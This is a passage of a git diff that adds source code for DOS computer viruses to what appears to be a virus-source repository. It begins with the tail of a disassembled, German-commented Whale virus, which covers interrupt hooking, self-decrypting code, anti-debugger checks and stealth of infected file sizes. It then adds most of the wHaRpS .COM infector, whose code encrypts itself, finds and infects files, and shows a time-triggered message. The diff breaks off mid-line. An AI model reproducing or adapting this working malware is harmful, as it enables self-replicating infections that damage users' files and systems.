21-Handler )=== +;===================================================================== +J0458D: CALL SaveRegs + IN AL,21h + OR AL,02h + OUT 21h,AL + PUSH AX + MOV AX,0000h + MOV DS,AX + POP AX + PUSH Word Ptr DS:[000Ch] ; HOLE INT 3-Offset + PUSH Word Ptr DS:[000Eh] ; HOLE INT 3-Segment + PUSH CS + POP Word Ptr DS:[000Eh] ; Setze INT 3 auf + ; CS:01D0A / CS:451A + MOV WORD Ptr DS:[000Ch],OFFSET J0451A-Offset VirStart + INT 3 ; ** tricky ** +;--------------------------------------------------------------------- + DB 83h +;===================================================================== +;=====================================( Handler fr SEEK / Handle )=== +;===================================================================== +J045B2: MDECODE 79 +J045B7: CMP AL,02h ; Seek File-ENDE ?? + JNZ J045C9 ; alles andere ist uninteressant + CALL CheckFileTime ; Ja ... + JZ J045C9 + SUB WORD Ptr [BP-0Ah],Code_len + SBB WORD Ptr [BP-08h],+00h +J045C9: MCODE 79 +J045CD: JMP J02B8B ; CALL LOW-INT-21 +;===================================================================== +;=====================================================( AKTIV-MSG )=== +;===================================================================== +J045D0: MDECODE 80 + CALL PushALL + MOV AH,2Ah ; GET DATE + CALL CS:[@INT21] + ;==========( Nur zwischen 18.Februar und 21. Mrz )=== + CMP DH,02h ; MONAT FEBRUAR ? + JZ J045EC ; Ja : welcher + CMP DH,03h ; Mrz ? + JZ J045F4 ; Ja : welcher + JMP J04663 ; Nein : fertig +J045EC: CMP DL,13h ; Nach dem 18. Februar ?? + JNB J045FC ; JA -> MSG + JMP J04663 ; NEIN -> fertig + +J045F4: CMP DL,15h ; VOR 21. Mrz ?? + JB J045FC ; JA : MSG + JMP J04663 ; NEIN : Fertig +J045FC: JMP J0463D + ;======================================================== +D45FF: DB "THE WHALE IN SEARCH OF THE 8 FISH",0ah,0dh + DB "I AM '~knzyvo}' IN HAMBURG$" + ;======================================================== +J0463D: MOV AH,09h + PUSH CS + POP DS + MOV DX,Offset D45FF-Offset VirStart ; 1DFF + CALL CS:[@INT21] + ;==================================( schreibe HLT )=== + MOV WORD PTR CS:[D2598],0F4F4h ; = HLT + MOV BX,D2598 + PUSHF + PUSH CS + PUSH BX + XOR AX,AX + MOV DS,AX + MOV WORD Ptr DS:[0006h],0FFFFh + CALL Debugger_Check + ;----------------------------------------------------- +J04663: CALL PopALL + MCODE 80 + RETN +;===================================================================== +;=================================( Handler fr READ FILE /Handle )=== +;===================================================================== +J0466B: JMP J02B8B ; CALL LOW-INT-21 +J0466E: AND BYTE PTR CS:[D24B3],0FEh; CF lschen + CALL CheckFileTime + JZ J0466B ; entweder kein DISK-File, + ; oder 'falsche' Uhrzeit + MDECODE 81 + MOV CS:[D24AD],DX ; Buffer merken + MOV CS:[D24AF],CX ; Anzahl merken + MOV WORD PTR CS:[D24B1],0000h + CALL GetFileSize + MOV AX,Word ptr CS:[FileSize ] + MOV DX,Word ptr CS:[FileSize+2] + SUB AX,Code_len + SBB DX,+00h + SUB AX,Word ptr CS:[FilePos ] + SBB DX,Word ptr CS:[FilePos+2] + MCODE 81 + JNS J046B9 ; Lang genug fr den Wal + MOV WORD Ptr [BP-04h],0000h + JMP J031E7 ; fertig +;-------------------------------------------------------------------- +J046B9: MDECODE 82 + JNZ J046C8 ; JMP if Platz + CMP AX,CX ; Mehr als Wal-Lnge ? + JA J046C8 + MOV CS:[D24AF],AX ; Dann eben mehr Byte lesen, + ; als verlangt ! +J046C8: MOV CX,WORD PTR CS:[FilePos+2] + MOV DX,WORD PTR CS:[FilePos ] + OR CX,CX ; Bin ich im 1. Segment ? + + MCODE 82 + JNZ J046DF ; nein -> JMP + CMP DX,+1Ch ; wenigstens hinter + ; dem EXE-Header ? + JBE J04704 ; JMP, wenn mittendrin ! +;-------------------------------------------------------------------- +;-----------------------------------------------( lese-Schleife )---- +;-------------------------------------------------------------------- +J046DF: MDECODE 83 + MOV DX,WORD PTR CS:[D24AD] ; Lese in DS:DX + MOV AH,3Fh + MOV CX,WORD PTR CS:[D24AF] ; Soviele Byte + CALL CS:[@INT21] + ADD AX,WORD PTR CS:[D24B1] ; Gesamtzahl gelesen + MOV [BP-04h],AX + MCODE 83 + JMP J02EA3 ; fertig +;-------------------------------------------------------------------- +J04704: MOV DI,DX ; Filepos + MOV SI,DX + ADD DI,WORD PTR CS:[D24AF] ; Anzahl zu lesender byte + CMP DI,+1Ch ; Summe < 1Ch ? + JB J04717 ; JMP wenn kleiner + XOR DI,DI ; DI = 0 + JMP SHORT J0471C +;-------------------------------------------------------------------- + DB 0F7H +;-------------------------------------------------------------------- +J04717: SUB DI,01CH ; DI ist z.B. 10H. + ; SUB DI,1C : DI = FFF4 + NEG DI ; NEG DI : DI = 000B +J0471C: MDECODE 84 + MOV AX,DX + MOV DX,Word ptr CS:[FileSize ] + MOV CX,Word ptr CS:[FileSize+2] + + ADD DX,+0Fh ; Einen Paragrafen weiter + ADC CX,+00h + + AND DX,0FFEFH ; ergibt eine Rundung + ; auf volle Paragrafen + SUB DX,23FCh ; Wal-Size abziehen + SBB CX,+00h + + ADD DX,AX + ADC CX,+00h + + MOV AX,4200h ; SEEK from Start + CALL CS:[@INT21] + + MOV CX,001Ch + SUB CX,DI + SUB CX,SI + + MOV AH,3Fh ; READ FILE + MOV DX,CS:[D24AD] + CALL CS:[@INT21] + + ADD CS:[D24AD],AX + SUB CS:[D24AF],AX +J04767: ADD CS:[D24B1],AX + + XOR CX,CX + MOV AX,4200h ; SEEK from Start + MOV DX,001Ch ; zur Position 1Ch + CALL CS:[@INT21] + + MCODE 84 + JMP J046DF ; zum nchsten Teilstck +;===================================================================== +;=========================( Handler fr FindFirst/Findnext /ASCIIZ)=== +;===================================================================== +J04780: MDECODE 85 + AND WORD PTR CS:[D24B3],0FFFEH ; ZF lschen + CALL PopALL + CALL CS:[@INT21] + CALL PushALL + MCODE 85 + JNB J047A5 + OR WORD PTR CS:[D24B3],+01h +J047A0 EQU $-2 + JMP J02EA3 ; fertig + ;--------------------------; + ;J047A0: AND AL,01 ; + ; JMP J02EA3 ; + ;--------------------------; + +J047A5: CALL GetDTA + TEST BYTE Ptr DS:[BX+17h],80h + JNZ J047B7 ; infiziert. Verschleiern ! + JMP J02EA3 ; Fertig +;===================================================================== +;=====================================================( Trash !!! )=== +;===================================================================== +J047B1: CLC + INC DX + PUSH DS + POP ES + PUSH DX + JMP J047A0 ; DB 0EBH ; sind jetzt 2 Byte zuviel +;-------------------------------------( 'echter code 'berlappend )--- +J047B7: MDECODE 86 + SUB WORD Ptr DS:[BX+1Ah],Code_len + SBB WORD Ptr DS:[BX+1Ch],+00h + SUB BYTE Ptr DS:[BX+17h],80h + MCODE 86 + JMP J02EA3 ; fertig +;===================================================================== +;================================( Kopiert Wal in oberen Speicher )=== +;===================================================================== +Wal_Ins_MEMTOP_Kopieren: + MDECODE 87 + CALL J03350 ; selbsttest ! + PUSH CS ; ursprnglich "PUSH DS", + ; geht aber nicht + XOR AX,AX + MOV DS,AX + ;----------------------------------------------------- + ; INT 3 wird auf 'IRET' im IBMBIO.COM gesetzt ! + ;----------------------------------------------------- + MOV WORD PTR DS:[000Eh],0070h + MOV WORD PTR DS:[000Ch],0756h ; an Adresse 70h:756h + POP DS + MOV ES,[PSP_SEG] + PUSH ES + POP DS + SUB WORD Ptr DS:[0002h],0270h; MEM-TOP neu festlegen + MOV DX,DS ; 2700h Byte 'reservieren' + DEC DX ; SIEHE ZEICHNUNG GANZ OBEN ! + MOV DS,DX ; DS:0 zeigt auf MCB + MOV AX,WORD PTR DS:[0003h] ; Hole Size des aktuellen MCB + SUB AX,0270h ; und ziehe 2700h Byte AB + ADD DX,AX ; DX ist jetzt "MEM-TOP" + MOV WORD PTR DS:[0003h],AX ; MCB ndern + POP DI ; DI = 2947h + INC DX ; 16 Byte hher + MOV ES,DX ; ES ist ZielSegment + PUSH CS + POP DS + MOV SI,26FEh ; SI = 26FE + MOV CX,1380h ; CX = 1380h (words) + ; = 2760h (byte) + ; = bis Stackende ! + MOV DI,SI ; DI = SI + STD + XOR BX,BX ; BX = 0 + MCODE 87 + + REPZ MOVSW ; fort ist er ! + CLD ; erst jetzt ?!? + PUSH ES ; Oberes Segment + MOV AX,SchwimmZiel ; + PUSH AX ; ZIEL IST ES:01B1h + MOV ES,CS:[PSP_SEG] ; entsprechend CS:29C1h + MOV CX,WischeWeg ; CX = 236C + JMP Schwimme_Fort ; BX = 0 +;===================================================================== +;=================================================( TRACE INT 13h )=== +;===================================================================== +Trace_int_13h: MDECODE 88 + + MOV BYTE PTR CS:[Error],00h + CALL SaveRegisters + PUSH CS + + MOV AL,13h + POP DS + CALL GetInt_AL + + MOV WORD PTR DS:[Trace_Adres+2],ES + MOV WORD PTR DS:[Trace_Adres ],BX + + MOV WORD PTR DS:[@Int_13h+2],ES + MOV DL,02h + MOV WORD PTR DS:[@Int_13h ],BX + MOV BYTE PTR DS:[D2450 ],DL ; DL=2, 2 bergehen + CALL SetInt_01 + + MOV WORD PTR DS:[D24DF ],SP + MOV WORD PTR DS:[D24DD ],SS + + PUSH CS + MOV AX,Offset J0488D-Offset VirStart + PUSH AX ; RETURNADRESSE fr RETF ist + ; CS:J0207F, also CS:488D + MOV AX,0070h + MOV CX,0FFFFh ; Bis zum letzten Byte suchen ... + MOV ES,AX + XOR DI,DI + MOV AL,0CBh ; SCANNT IBMBIO nach 0CBh !!! + REPNZ SCASB ; Also RETF + + DEC DI + + PUSHF + PUSH ES + PUSH DI ; RETURNADRESSE ist "RETF" in IBMBIO.COM + + PUSHF + POP AX + OR AH,01h ; Set TF + PUSH AX + + MCODE 88 + POPF + XOR AX,AX ; Reset Disk :-) + JMP DWORD PTR DS:[Trace_Adres] ; Return ist J0488D + ; JMP INT 13H + DB 0E9h +;===================================================================== +;==========================================( Rckkehr aus INT 13h )=== +;===================================================================== +J0488D: MDECODE 89 + PUSH CS + POP DS + PUSH DS + MOV AL,13h + LDS DX,DWORD PTR CS:[Trace_Adres] + CALL SetInt_AL ; RE-SET INT 13 + POP DS + + MOV AL,24h + CALL GetInt_AL ; GET INT 24 + + MOV WORD PTR DS:[D243D],BX + MOV DX,OFFSET J0444D-Offset VirStart + MOV AL,24h + MOV WORD PTR DS:[D243D+2],ES + CALL SetInt_AL ; SET INT 24 + CALL GetRegsFromVirstack + PUSH DS + PUSH AX + MOV AX,0000h + MOV DS,AX + POP AX + MOV WORD Ptr DS:[0006h],0070h ; Segment INT 01 + ; auf 70h setzen + POP DS + MCODE 89 + RETN + DB 0F6h +;===================================================================== +;===========================================( Reset INT 13+INT 24 )=== +;===================================================================== +J048CD: MDECODE 90 + CALL SaveRegisters + LDS DX,CS:[@Int_13h] ; Alte Adresse INT 13 + MOV AL,13h + CALL SetInt_AL ; SET INT 13 + LDS DX,DWORD PTR CS:[D243D]; Alte Adresse INT 24 + MOV AL,24h + CALL SetInt_AL ; SET INT 24 + CALL GetRegsFromVirstack + MCODE 90 + RET +;=========================================================( trash )=== + PUSH CS + POP AX +;===================================================================== +;=================================================( TRACE INT 21H )=== +;===================================================================== +J048F3: MDECODE 91 + ;----------------------( die Zahl 0401 bedeutet : )--- + ;----------------------( 4 Ebenen, 1. bergehen )--- + + MOV WORD PTR CS:[D2450],0401h + CALL SetInt_01 + CALL PopALL + PUSH AX + MOV AX,CS:[D24B3] + OR AX,0100h ; Set TF + PUSH AX + MCODE 91 + ;--------------------------------------------- + POPF + POP AX + POP BP + JMP CS:[Low_INT_21H] ; JMP INT 21h + ;--------------------------------------------- +;===================================================================== +J0491A: DB 00h ; alias "210A" ! ; Klein, aber fein :-) +;===================================================================== +;==========================( DIE DECODE-ROUTINE )=== +;==========================( Dekodiert jedes Wal-Hhrchen separat )=== +;===================================================================== +J0491B: PUSHF + POP CS:[D258E] + MOV CS:[D2560],AX + MOV CS:[D2562],BX + MOV CS:[D2564],CX + +J0492F: DB 26h,3bh,0,72h,2,0c3h,2,53h,89h,0c1h + DB 032h,0edh,026h,03ah,8,073h,047h,0f8h + +COMMENT # ERGIBT ; + ;------------------------------------------- + POP BX ; POP RETURNADRESSE + MOV AX,CS:[BX] ; GET WORD + ADD BX,+02h ; INC Returnadresse,2 + PUSH BX ; auf den Stack damit + ;-----------------------; AL ist Zhler + MOV CX,AX ; AH ist XOR-byte + XOR CH,CH +J00120: XOR CS:[BX],AH + INC BX + LOOP J00120 + ;------------------------------------------- + # +J04941: MOV AX,CS:[D2560] + MOV BX,CS:[D2562] + MOV CX,CS:[D2564] + PUSH CS:[D258E] + POPF + RETN +;===================================================================== +;=====================================( kodiert das separate Teil )=== +;===================================================================== +VersteckeCodeWieder: + MOV BP,AX +J04958: IN AL,40h ; Hole Zufallszahl <> 0 + OR AL,AL + JZ J04958 + POP BX ; Hole Adresse des Aufrufers + PUSH BX + MOV CX,Offset J02ACC-Offset J02AA8 + SUB BX,CX ; 24h Byte zurckgehen +J04965: XOR CS:[BX],AL + INC BX + LOOP J04965 + CALL J0496E +J0496E: POP BX + ADD BX,Offset SpielByte-Offset J0496E + ; Adresse "Spielbyte" holen + MOV CS:[BX],AL ; und den Dekodierer impfen + MOV AX,BP + RETN +;===================================================================== +;=======================================( dekodiert den Relokator )=== +;===================================================================== +DecodeFollowingCode: + MOV BP,AX ; AX sichern + POP BX + PUSH BX + MOV CX,Offset J02ACC-Offset J02AA8 +J0497F: XOR BYTE PTR CS:[BX],0 ; <== "Spielbyte" +Spielbyte EQU $-1 + INC BX +J04984: LOOP J0497F + MOV AX,BP +J04987 EQU $-1 ; CALL NIRWANA ! siehe unten ! + RETN ; AX zurueck +;===================================================================== +;========================================( Kodiert jede 'schuppe' )=== +;===================================================================== +CodeIT: PUSHF + POP CS:[D258E] + MOV CS:[D2560],AX + MOV CS:[D2562],BX + MOV CS:[D2564],CX + ;-------------------------------------( aus )----------------- +J0499D: DB 26h,3Bh,8Ah,0Fh,32h,72h,0E3H + ;-------------------------------------( wird )---------------- + ;J0499D: POP BX ; POP returnadresse + ; MOV CL,Byte Ptr CS:[BX] ; Get Byte in CL + ; XOR CH,CH + ; INC BX ; Return eins weiter + ;------------------------------------------------------------- + PUSH BX + MOV AX,0001h + ADD AX,CX ; AX ist Byte + 1 + SUB BX,AX ; BX ist Returnadresse-AX + ;-------------------------------------( aus )----------------- + DB 043h,040h,00ah,0c0h,074h,0fah + ;-------------------------------------( wird )---------------- + ;J049AC: IN AL,40h + ; OR AL,AL + ; JZ J049AC ; hole Zufallszahl <> 0 + ;------------------------------------------------------------- + MOV CX,CS:[BX] + XOR CH,CH + INC BX + ;-------------------------------------( aus )----------------- + DB 003h,00fh,02eh,03bh,007h,072h,0c7h,0f8h + ;-------------------------------------( wird )---------------- + ; MOV CS:[BX],AL + ;J001A0: INC BX + ; XOR CS:[BX],AL + ; LOOP J001A0 + ;------------------------------------------------------------- +J049C0: CLI + MOV AX,CS:[D2560] + MOV BX,CS:[D2562] + MOV CX,CS:[D2564] + PUSH CS:[D258E] + POPF + RETN +;===================================================================== +;====================================================( Der Tracer )=== +;===================================================================== +Int_01_Entry: PUSH BP + MOV BP,SP + PUSH AX + CMP WORD Ptr [BP+04h],0C000h ; Callers Segment + JNB J049ED ; hher als C000h + MOV AX,CS:[D2447] ; oder tiefer + CMP [BP+04h],AX ; als D2447 + JBE J049ED +J049EA: POP AX + POP BP + IRET +;===================================================================== +J049ED: CMP BYTE PTR CS:[D2450],01h ; Erster + JZ J04A1B + + MOV AX,[BP+04h] ; Callers CS + MOV WORD PTR CS:[Trace_Adres+2],AX + MOV AX,[BP+02h] ; Callers IP + MOV WORD PTR CS:[Trace_Adres ],AX + JB StopTrace ; [D2450] < 1 ? + POP AX + POP BP + MOV SP,CS:[D24DF] + MOV SS,CS:[D24DD] + JMP J0488D ; -> RET hier irgendwo +;==========================================( Trace-Mode abschalten)=== +StopTrace: AND WORD Ptr [BP+06h],0FEFFh + JMP J049EA +;===================================================================== +J04A1B: DEC BYTE PTR CS:[D2450+1] ; Dec (Versuche) + JNZ J049EA ; <> 0 -> weiter + AND WORD Ptr [BP+06h],0FEFFh ; sonst tracen + CALL SaveRegisters ; stoppen und : +;===================================================================== +;=======================( AUS : )===================================== +;===================================================================== +J04A2A: DB 0fch,01eh,0e2h,0e4h,040h +;===================================================================== +;========================( WIRD, ber PATCH )========================= +;===================================================================== + ;CALL J02CDA + ;IN AL,40h +;===================================================================== +;===============================================( XOR-Byte ndern )=== +;===================================================================== + MOV CS:[XorByte__1],AL ; D_4A5E + MOV CS:[XorByte__2],AL ; D_4A79 +;===================================================================== +;=====================================( INT 01 auf INT 03 stellen )=== +;===================================================================== +J04A39: MOV AL,03h + CALL GetInt_AL ; GET INT 3 + + PUSH ES + POP DS + MOV DX,BX ; DS:DX auf INT 3 stellen + MOV AL,01h +;================================================================= +;======( AUS : )================================================== +;================================================================= +J04A42: DB 0e8h,027h +J04A44: DB 01h ; CALL J04B6C + DB 0EAh,072h,0e1h ; JB J04A29 +;================================================================= +;===================( Wird ber PATCH )=========================== +;================================================================= + CALL SetInt_AL ; INT 01 auf INT 03 setzen + CALL POPALL +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + CALL Patch_IBMDOS + CALL GetRegsFromVirstack + CALL Re_SET_Int_02 + POP AX + POP BP ; Stack putzen + + PUSH BX + PUSH CX + MOV BX,PART_____1 + MOV CX,LEN_PART_1 +J04A5B: XOR BYTE PTR CS:[BX],8Eh +D_4A5E EQU $-1 + INC BX + LOOP J04A5B + POP CX + POP BX + IRET ; ENDE von INT 01 / Tracer + DB 0E9h +;===================================================================== +;================================================( INT 21-Handler )=== +;===================================================================== +J04A66: OR BYTE PTR CS:[PART_____1],00h ; = D4BAC + ; ist Wal schon DEkodiert ? + JZ J04A7F + PUSH BX ; Nein. +J04A6F: PUSH CX + MOV BX,PART_____1 + MOV CX,LEN_PART_1 +J04A76: XOR BYTE PTR CS:[BX],8EH +D_4A79 EQU $-1 + INC BX + LOOP J04A76 + POP CX + POP BX +J04A7F: JMP J0458D +;===================================================================== + DB 34h +;===================================================================== +;=======================( INT 09-Handler )=== +;=======================( Bei jedem (!) Tastendruck wird geprft, )=== +;=======================( ob ein Debugger am Werk ist ! )=== +;===================================================================== +J04A83: MDECODE 92 + CALL Patch_INT_09 ; INT 9 restaurieren + CALL Debugger_Check ; Das ist der Witz dabei !!! + PUSHF + CALL CS:[INT_09 ] ; CALL INT 09 + CALL Patch_INT_09 ; Int 9 wieder patchen + MCODE 92 + IRET +;=======================================================()========= + DB 0BCH +;===================================================================== +;=======================================( Save Original-Registers )=== +;===================================================================== +SaveRegs: MOV CS:[D2575],SI + MOV CS:[D2577],DI + MOV CS:[D257B],DS + MOV CS:[D257D],ES +J04AB1: MOV CS:[D2579],AX + MOV CS:[D257F],CX + MOV CS:[D2581],BX + MOV CS:[D2590],DX + RETN + ;----------------------------------------------------- + DB 0E8h + DB 01h +;===================================================================== +;=============================( PATCHT vorhandenen INT 09-Handler )=== +;===================================================================== +KeyBoard DB 0 +Patch_INT_09: MDECODE 93 + CALL SaveRegs +;----------------------------------------------------------- + MOV SI,Offset D2570 + LES DI,CS:[INT_09 ] ; GET original INT 09 + PUSH CS + POP DS + CLD +;---------------------------( Tauscht 5 Byte ab CS:D2570 -> ES:DI )-- + MOV CX,0005h +J04ADD: LODSB + XCHG AL,ES:[DI] + MOV [SI-01h],AL + INC DI + LOOP J04ADD +;----------------------------------------( anzeige )------------------- + MOV AX,0B800H + MOV ES,AX + XOR DI,DI + CMP byte ptr cs:[Offset Keyboard-Offset VirStart],1 + MOV Byte ptr cs:[Offset Keyboard-Offset VirStart],0 + MOV AX,432EH + JZ ToOriginal + MOV Byte ptr cs:[Offset Keyboard-Offset VirStart],1 + MOV AX,4b57h +ToOriginal: STOSW +;----------------------------------------------------------- + CALL RestoreRegs + MCODE 93 + RETN +;===================================================================== +;====================================( GET INT 01 + INT 03 )=== +;====================================( Check, ob Debugger werkelt )=== +;===================================================================== +Debugger_Check: + MDECODE 94 + MOV CS:[D2581],BX + MOV CS:[D257D],ES + XOR BX,BX + MOV ES,BX + MOV BX,ES:[0006h] ; GET Offset von INT 01 + CMP BX,CS:[D2447] + JNB J04B27 ; TRACER AM WERK + MOV BX,ES:[000Eh] ; GET Offset von INT 03 + CMP BX,CS:[D2447] + JNB J04B27 ; DEBUGGER AM WERK + MOV ES,CS:[D257D] + MOV BX,CS:[D2581] + JMP J04B76 +;===================================================================== +;=================================================( Kill System ! )=== +;===================================================================== +J04B27: POP BX ; POP returnadresse + CALL PushALL + CALL Patch_IBMDOS ; DOS patchen + CALL PopALL + + MOV BX,CS:[D2581] + MOV ES,CS:[D257D] + + PUSHF + CALL CS:[INT_09 ] ; CALL INT 09 + + CALL PushALL + + MOV AH,51h ; get current PSP + CALL CS:[@INT21] + + MOV ES,BX +J04B4D: + MOV WORD PTR ES:[000Ch],0FFFFh; Terminate-Adresse + MOV WORD PTR ES:[000Ah],0000h ; ist FFFF:0000 !?! + CALL PopALL + CALL SaveRegs + ;---------------------------------( Wal zerstren )--- + MOV CX,IfDebugWal ; 1185h ; 230Ah Byte + MOV BX,StartDebug ; 004Fh ; ab 4Fh / 285Fh + MOV AX,0802h ; mit 0802h verORen +J04B6A: OR CS:[BX],AX ; bis 4B69 , logisch, oder .... + ADD BX,+02h + LOOP J04B6A + ;---------------------------------------------------- + CALL RestoreRegs + IRET +;===================================================================== +;=========================================( Kein Debugger am Werk )=== +;===================================================================== +J04B76: MCODE 94 + RET +D4B7C: DB 0E8h +;===================================================================== +;=========( Verwischt Spuren und springt in oberen Speicherbereich)=== +;===================================================================== +Schwimme_Fort: OR BYTE PTR CS:[BX],15h ; CX = 236Ch + INC BX ; BX = 0 + LOOP Schwimme_Fort ; also von 2810 bis D4B7C + ; alles lschen + RETF ; RETF nach + ; Oberen-Speicher:01B1 + ; Identisch mit CS:29C1 +;===================================================================== +;========================================( Get Original-Registers )=== +;===================================================================== +RestoreRegs: MOV AX,CS:[D2579] + MOV ES,CS:[D257D] + MOV DS,CS:[D257B] + MOV SI,CS:[D2575] + MOV DI,CS:[D2577] + MOV CX,CS:[D257F] + MOV BX,CS:[D2581] + MOV DX,CS:[D2590] +L0L0L0: RETN +;---------------------------------------------------------------------- +D4BAC DB 00h ; Signal-Byte zur Erkennung, + ; ob Wal dekodiert ist oder nicht +;===================================================================== +;=============================================( Verschlsselt WAL )=== +;===================================================================== +Code_Whale: PUSH CX + PUSH BX + MOV BX,FirstByte + MOV CX,Code_len ; 2385h ; Wal-Size +LASTCODE: ;^^^^^^^^^^^-- LETZTES VERSCHLUESSELTE BYTE ! +;--------------------------------------------------------------------- +D4BB5: ;vvvvvvvvvvv-- HIERHER WERDEN DIE MUTANTEN KOPIERT ! + PUSH DX + MOV DH,[BX-01h] +J04BB9: MOV DL,[BX ] + ADD [BX],DH + XCHG DL,DH + INC BX + LOOP J04BB9 + + POP DX + POP BX + POP CX + PUSH SI + MOV SI,2567h + DEC SI + CALL [SI] ; CALL INT 21h +;===================================================================== +;============================================( Normaler Einsprung )=== +;===================================================================== +Decode_Whale: CALL J04BD1 +J04BCF: XOR BX,SI ; DUMMY ! +J04BD1: XOR SI,1876h ; SI = 1876, kann immer + ; gendert werden + POP BX ; BX = 4BCF + POP SI + SUB BX,Code_start ; BX = 2830 + MOV CX,Code_Len ; CX = 2385 wal-size + PUSH CS + POP DS +J04BE0: MOV AL,[BX-01h] + SUB [BX],AL + INC BX + LOOP J04BE0 + ; BX = 4BB5 + ADD BX,008Eh ; BX = 4C43 / 2433 + XCHG SI,BX + DEC BYTE Ptr DS:[SI] + JNZ J04BF5 + XCHG BX,SI + RETN ; +;===================================================================== +;==============================================( Sprung zu ENTRY )=== +;===================================================================== +J04BF5: PUSH ES ; SI ist 4C43 + XOR AX,AX + POP DS + JMP ENTRY +;===================================================================== +;==========================================================( ENDE )=== +;===================================================================== + DW 0CE8BH + DW 05605H +LASTBYTE: DB 34H + +J04C01: DW 00045h + DW 05000h + DW 0DCE3h + DW 09000h + DW 00000h + DW 01F00H + DW 02000H + DB 10H +;============================================================================ +code ENDS + END start + diff --git a/w/WHARPS.ASM b/w/WHARPS.ASM new file mode 100755 index 0000000..abbed34 --- /dev/null +++ b/w/WHARPS.ASM @@ -0,0 +1,336 @@ +; "One must crawl before one walks." +; wHaRpS Virus 1.0 +; wHaRpS virus of independent virus writer FirstStrike +; For use by [Phalcon\Skism] ONLY! +; Special thanx to: +; Gheap +; Dark Angel +; Demogorgon + + +name wHaRpS + title +code segment + assume cs:code,ds:code + org 100h + + +dta equ 65000d ; DTA address to be set +fname equ 65000d + 1eh ; DTA - file name +ftime equ 65000d + 16h ; DTA - file time +fsize equ 65000d + 1ah ; DTA - file size +orgdir equ 65400d ; original path storage +date equ 65300d ; store file date +time equ 65302d ; store file time +attrib equ 65304d ; store file attrib +err1 equ 65306d ; old error handler address +err2 equ 65308d ; old error handler address + +olddta equ 80h ; original DTA address + + + +begin: + nop + nop + nop + call setup ; find "delta offset" +setup: + pop bp + sub bp, offset setup + jmp main ; DEBUG E8 02 00 + nop + jmp main + +crypt_em: + xor di,di + lea si, [bp+main] + mov di, si + mov cx, end_crypt - main + +xor_loop: + lodsb ; ds:[si] -> al + db 34h ; xor al, XX +encrypt_val db 0 ; Starting encryption value is 0 + stosb ; al ->es:[di] + loop xor_loop + ret + +main: + xor di,di + mov di,0100h ; Restore first three + lea si,[bp+saveins] ; original program bytes + mov cx,0003d + rep movsb + jmp system_pic ; Take a "picture" of system settings + +handler: ; error handler + mov al,0 + iret +endp + + +data label byte +wharps db '[wHaRpS]',0 ; wHaRpS ID +author db 'FrsStrk',0 ; Me +dir_mask db '*.',0 ; dir atrib +allcom db '*.COM',0 ; what to search for +root db '\',0 ; root +saveins db 0e8h,00h,00h ; original three bytes +ultimate dw 0 ; ultimate dir to be reached +current dw 0 ; current dir +message db 'wHaRpS! It is 3:00 a.m. > ETERNAL $' + +system_pic: ; SNAP! + mov ah,47h ; get original path + mov dl,0 + lea si,cs:orgdir ; store original path + int 21h + +crypt_change: ; set crypt value + mov ah,2ch + int 21h + mov [bp+encrypt_val],dl + cmp ch,03 + jz more + jmp errorh + +more: + cmp cl,00 + jz bomb + jmp errorh + +bomb: + mov ah,09h + lea dx,[bp+message] + int 21h + mov ah,4ch + int 21h + +errorh: + push es ; save original error handler address + mov ax,3524h + int 21h + mov word ptr cs:err1,bx + mov word ptr cs:err2,es + pop es + + mov ax,2524h ; set an error handler + lea dx, [bp+offset handler] ; no more Retry,Abort,Fail deals + int 21h + jmp pre_search + +drop_to_root: ; subroutine to visit the root + lea dx,[bp+root] + jmp continue + +set_path: ; OR set a path + lea dx,cs:fname + +continue: + mov ah,3bh + int 21h + ret + +return_to_search: + inc [bp+ultimate] + call drop_to_root + mov [bp+current],0000 + jmp find_first_dir + + +pre_search: ; set a DTA + mov dx,dta + mov ah,1ah + int 21h + + mov [bp+current],0000 ; zero the counters + mov [bp+ultimate],0000 ; "" + inc [bp+ultimate] ; want to search 1st dir in root + call drop_to_root ; bomb to root + +find_first_dir: ; directory searchin' + lea dx,[bp+dir_mask] + mov cx,16 + mov ah,4Eh + int 21h + jc almost_done ; no directories? + +dir_test: + inc [bp+current] ; directory found - MARK! + mov bx,[bp+current] + cmp word ptr [bp+ultimate],bx ; is it the one we want? + jnz find_next_dir ; no, find another + call set_path ; yes, set the correct path + jmp find_first_file ; find some .COMs + + + +find_next_dir: ; mo' directory searchin' + mov ah,4fh + int 21h + jc almost_done + jmp dir_test ; go see if correct dir found yet + + + +find_first_file: ; file searchin' + lea dx,[bp+allcom] + mov cx,00000001b + mov ah,4Eh + int 21h + jc return_to_search ; no .COM so mo' dir + jmp check_if_ill ; is the file "sick"? + + + +find_next_file: ; keep on a searchin' + mov ah,4fh + int 21h + jc return_to_search ; no more .COM so back + ; to the directories + +check_if_ill: ; check file's health + mov ax,cs:ftime + and al,11111b ; good, your sick! + cmp al,62d/2 ; (No more 62 seconds as virus + jz find_next_file ; markers! - I swear!) + + cmp cs:fsize,60000d ; whoa, file to big! + ja find_next_file ; so, get a new one + + cmp cs:fsize,500d ; whoa, file to small! + jb find_next_file ; throw it back and move on + jmp infect ; perfect, for infection + + db 'Joy J.',0 ; don't ask + +error: +pre_done: +almost_done: + jmp done ; in case of emergency..... + +infect: + mov ah,43h ; save original attribute + mov al,00h + lea dx,cs:[fname] + int 21h + mov cs:attrib,cx + jc pre_done + + mov ax,4301h ; clear all attributes + and cx,11111110b ; (none shall slow progress) + int 21h + jc pre_done + + + mov ax,3d02h ; open the file, please + int 21h + jc pre_done + xchg bx,ax + + + + mov ax,5700h ; save the date/time + int 21h + mov cs:time,cx + mov cs:date,dx + jc pre_done + + + mov ah,3Fh ; read first 3 bytes of file + mov cx,0003h ; to be infected and save + lea dx,[bp+saveins] + int 21h + jc pre_done + + mov ax,4202h ; move to end of file + xor cx,cx + xor dx,dx + int 21h + jc pre_done + mov [bp+new_jmp],ax + + call crypt_em + +end_crypt label byte ; encrypt to here + + mov ah,40h + mov cx,endcode-begin + lea dx,[bp+begin] + int 21h ; encrypt n' write virus to end of + jc done ; file + + mov ax,4200h ; go to beginning of file + xor cx,cx + xor dx,dx + int 21h + jc done + jmp cont + +jmpc db 0e9h +new_jmp dw ? + +cont: + mov ah,40h + mov cl,3 + lea dx,[bp+jmpc] + int 21h + jc done + +attrib_stuff: + + mov ax,5701h + mov cx,cs:[time] + mov dx,cs:[date] + or cl,11111b + int 21h + jc done + + mov ah,3eh + int 21h + jc done + + mov ax,4301h + mov cx,cs:[attrib] + lea dx,cs:[fname] + int 21h + jc done + +done: + mov dx,olddta ; restore all changes + mov 